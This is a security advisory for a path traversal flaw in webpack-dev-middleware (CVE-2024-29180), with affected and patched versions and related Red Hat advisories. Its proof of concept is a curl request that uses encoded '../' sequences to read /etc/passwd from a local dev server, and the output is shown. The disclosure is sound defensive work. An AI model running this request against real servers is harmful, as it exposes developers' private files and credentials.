Headline
GHSA-wr3j-pwj9-hqq6: Path traversal in webpack-dev-middleware
Summary
The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer’s machine.
Details
The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem. If writeToDisk configuration option is set to true, the physical filesystem is used: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21
The getFilenameFromUrl method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath: https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82 As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.
PoC
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Impact
The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer’s machine and exfiltrate the content (e.g. password, configuration files, private source code, …).
If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).
If the server allows access from third-party domains (CORS, *Allow-Access-Origin: ** ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.
Recommendation
The URL should be unescaped and normalized before any further processing.
Package
npm webpack-dev-middleware (npm)
Affected versions
>= 7.0.0, < 7.1.0
>= 6.0.0, < 6.1.2
<= 5.3.3
Patched versions
7.1.0
6.1.2
5.3.4
Summary
The webpack-dev-middleware middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer’s machine.
Details
The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory memfs filesystem.
If writeToDisk configuration option is set to true, the physical filesystem is used:
https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21
The getFilenameFromUrl method is used to parse URL and build the local file path.
The public path prefix is stripped from the URL, and the unsecaped path suffix is appended to the outputPath:
https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82
As the URL is not unescaped and normalized automatically before calling the midlleware, it is possible to use %2e and %2f sequences to perform path traversal attack.
PoC
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/…%2f…%2f…%2f…%2f…/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Impact
The developers using webpack-dev-server or webpack-dev-middleware are affected by the issue. When the project is started, an attacker might access any file on the developer’s machine and exfiltrate the content (e.g. password, configuration files, private source code, …).
If the development server is listening on a public IP address (or 0.0.0.0), an attacker on the local network can access the local files without any interaction from the victim (direct connection to the port).
If the server allows access from third-party domains (CORS, Allow-Access-Origin: * ), an attacker can send a malicious link to the victim. When visited, the client side script can connect to the local server and exfiltrate the local files.
Recommendation
The URL should be unescaped and normalized before any further processing.
References
- GHSA-wr3j-pwj9-hqq6
- https://nvd.nist.gov/vuln/detail/CVE-2024-29180
- webpack/webpack-dev-middleware@189c4ac
- webpack/webpack-dev-middleware@9670b34
- webpack/webpack-dev-middleware@e10008c
- https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/getFilenameFromUrl.js#L82
- https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21
- https://github.com/webpack/webpack-dev-middleware/releases/tag/v5.3.4
- https://github.com/webpack/webpack-dev-middleware/releases/tag/v6.1.2
- https://github.com/webpack/webpack-dev-middleware/releases/tag/v7.1.0
Published to the GitHub Advisory Database
Mar 21, 2024
Last updated
Mar 21, 2024
Related news
Red Hat Security Advisory 2024-4520-03 - The Migration Toolkit for Containers 1.7.16 is now available. Issues addressed include a memory exhaustion vulnerability.
Red Hat Security Advisory 2024-4460-03 - An update for Red Hat Data Grid 8 is now available. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link in the References section.
Red Hat Security Advisory 2024-0041-03 - Red Hat OpenShift Container Platform release 4.16.0 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include denial of service, memory exhaustion, password leak, and resource exhaustion vulnerabilities.
Red Hat Security Advisory 2024-3989-03 - Migration Toolkit for Applications 6.2.3 release. Issues addressed include denial of service, memory leak, and password leak vulnerabilities.
Red Hat Security Advisory 2024-3868-03 - Network Observability 1.6 for Red Hat OpenShift. Issues addressed include code execution, denial of service, memory exhaustion, and password leak vulnerabilities.
Red Hat Security Advisory 2024-3920-03 - Migration Toolkit for Runtimes 1.2.6 release Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link in the References section. Issues addressed include a password leak vulnerability.
Red Hat Security Advisory 2024-2817-03 - An update is now available for Red Hat OpenShift GitOps v1.10.5 for Argo CD UI and Console Plugin. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link in the References section.
Red Hat Security Advisory 2024-2816-03 - An update is now available for Red Hat OpenShift GitOps v1.12.2 for Argo CD UI and Console Plugin. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link in the References section.
Red Hat Security Advisory 2024-2815-03 - An update is now available for Red Hat OpenShift GitOps v1.11.4 for Argo CD UI and Console Plugin. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link in the References section.